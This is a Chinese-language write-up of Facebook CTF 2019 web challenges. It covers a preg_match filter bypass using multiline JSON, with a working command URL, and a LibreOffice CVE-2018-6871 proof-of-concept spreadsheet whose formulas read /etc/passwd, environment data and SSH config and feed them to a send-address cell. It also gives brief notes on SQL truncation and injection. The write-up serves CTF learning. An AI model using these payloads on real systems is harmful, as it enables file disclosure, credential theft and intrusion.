

# FacebookCTF2019 web writeup

原创

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## facebookCTF2019

### rceservice - 绕过preg\_match

<http://challenges.fbctf.com:8085>

```
We created this web interface to run commands on our servers, but since we haven't figured out how to secure it yet we only let you run 'ls'
```

```
http://challenges.fbctf.com:8085
```

```
(This problem does not require any brute force or scanning.  
We will ban your team if we detect brute force or scanning).
```

Web Administration Interface

Enter command as JSON:

比赛时候没有做出来, 复现一下, 根据wp, 发现它接受JSON格式的命令, 不过应该是过滤了很多东西

输入:

```
{"cmd": "ls"}
```

Attempting to run command:

```
index.php
```

输入各种都会

Hacking attempt detected, 最后过滤规则为:

```
} elseif (preg_match('/^(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|dismount|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
}
```

最后就成了如何绕过preg\_match

绕过preg\_match的最常用方法之一是使用多行输入，因为preg\_match仅尝试匹配第一行。

例如：

```
{
  "cmd": "ls /home/rceservice"
}
```

由于没有检查来过滤多行输入，我们可以将这个确切的输入发送到服务器并收到一个欢迎的响应：

注意在输入的时候要{"cmd":"ls /home/rceservice"},最后在cat flag的时候发现没有cat命令，WP中说是应用程序的PATH变量更改了

```
putenv('PATH=/home/rceservice/jail');
```

getflag:

```
http://challenges.fbctf.com:8085/?cmd={%0a%22cmd%22:%20%22/bin/cat%20/home/rceservice/flag%22%0a}
```

事实证明，多线JSON漏洞并不是Facebook团队的预期解决方案。预期的解决方案涉及利用pcre的回溯和递归限制。如果达到此限制，preg\_match可能会返回错误的匹配结果。

## secret note keeper

Find the secret note that contains the fl4g!

<http://challenges.fbctf.com:8082>

Same thing but in tokyo: <http://challenges3.fbctf.com:8082/>

(Timeout is 5 seconds for links, flag is case insensitive)

这里利用了CVE-2018-6871

<https://www.exploit-db.com/exploits/44022>

```
LibreOffice < 6.0.1 - '=WEBSERVICE' Remote Arbitrary File Disclosure
```

<https://github.com/jollheef/libreoffice-remote-arbitrary-file-disclosure>

从这个github上下载poc.fods

```

<table:table-row table:style-name="ro2">
  <table:table-cell/>
  <table:table-cell office:value-type="string" calcext:value-type="string">
    <text:p>Current user:</text:p>
  </table:table-cell>
  <table:table-cell table:style-name="ce1" table:formula="of:="/home/" & MID(COM.MICROSOFT.WEBSERVICE("/proc/self/environ"); FIND("USER="; COM.MICROSOFT.WEBSERVICE("/proc/self/environ")) + LEN("USER="); SEARCH(CHAR(0); COM.MICROSOFT.WEBSERVICE("/proc/self/environ"); FIND("USER="; COM.MICROSOFT.WEBSERVICE("/proc/self/environ")))-FIND("USER="; COM.MICROSOFT.WEBSERVICE("/proc/self/environ"))-LEN("USER=")) & "/&quot;" office:value-type="string" office:string-value="" calcext:value-type="error">
    <text:p>#VALUE!</text:p>
  </table:table-cell>
  <table:table-cell table:style-name="ce2" table:formula="of:=FIND("&quot;; [.F3]; [.E3])" office:value-type="float" office:value="689" calcext:value-type="float">
    <text:p>689</text:p>
  </table:table-cell>
  <table:table-cell table:style-name="ce2" table:formula="of:=FIND("/home"; [.F3]; FIND("x:1000:1000"; [.F3]))" office:value-type="float" office:value="676" calcext:value-type="float">
    <text:p>676</text:p>
  </table:table-cell>
  <table:table-cell table:style-name="ce2" table:formula="of:=COM.MICROSOFT.WEBSERVICE("/etc/passwd");" office:value-type="string" office:string-value="" calcext:value-type="string">
    <text:p>#VALUE!</text:p>
  </table:table-cell>
  <table:table-cell/>
  <table:table-cell table:style-name="ce5" office:value-type="string" calcext:value-type="string"><text:p>(change this)</text:p><text:p>Address:</text:p>
  </table:table-cell>
  <table:table-cell table:style-name="ce5" office:value-type="string" calcext:value-type="string">
    <text:p>http://localhost:8080</text:p>
  </table:table-cell>
</table:table-row>
<table:table-row table:style-name="ro3">
  <table:table-cell/>
  <table:table-cell office:value-type="string" calcext:value-type="string">
    <text:p>List of private keys:</text:p>
  </table:table-cell>
  <table:table-cell table:style-name="ce1"/>
  <table:table-cell table:number-columns-repeated="2"/>
  <table:table-cell table:formula="of:=SUBSTITUTE(COM.MICROSOFT.WEBSERVICE([.C3] & "/.ssh/config"; & "/~"; [.C3])" office:value-type="string" office:string-value="" calcext:value-type="error">
    <text:p>#VALUE!</text:p>
  </table:table-cell>
  <table:table-cell/>
  <table:table-cell office:value-type="string" calcext:value-type="string">
    <text:p>Send:</text:p>
  </table:table-cell>
  <table:table-cell/>

```

将/etc/passwd修改为/home/libreoffice\_admin/flag上传即可

fb{wh0\_7h0u6h7\_11br30ff1c3\_c4n\_b3\_u53ful}

## products manager

使用 facebook + ' '\*56 + hack 了名称, not\_so\_secret 秘密和 hacked!!! 描述, 并成功插入产品。我现在可以使用 facebook 和查看产品 not\_so\_secret 并获得标志。基本上, SQL忽略长度为64之后的所有字符, 默认情况下会截断空格。

## easter egg

After searching `fb{` on all pages, found nothing

But searching for `{` found something interesting on `careers` page:

```
<p>Facebook's Application Security team<span style="color:white">{</span>is seeking a passionate hacker to help us secure over 2 billion users....
```

And searching for `}`:

```
<p>The Oculus Security Engineering team designs, builds, and supports the infrastructure and services<span style="color:white">}</span>that allow Oculus to move fast,...
```

Also found `<span style="color:white">f`, `<span style="color:white">b` etc...

```
import re
text = open("careers", 'r').read()
text = re.findall(''<span style="color:white">.</span>'', text)
print ''.join([t[26:-7] for t in text])
fb{we're_hiring}
```

## events

python 模板注入

<https://ramadistra.dev/fbctf-2019-events>

## secret note keeper

pgsql注入

异步注入

<https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md>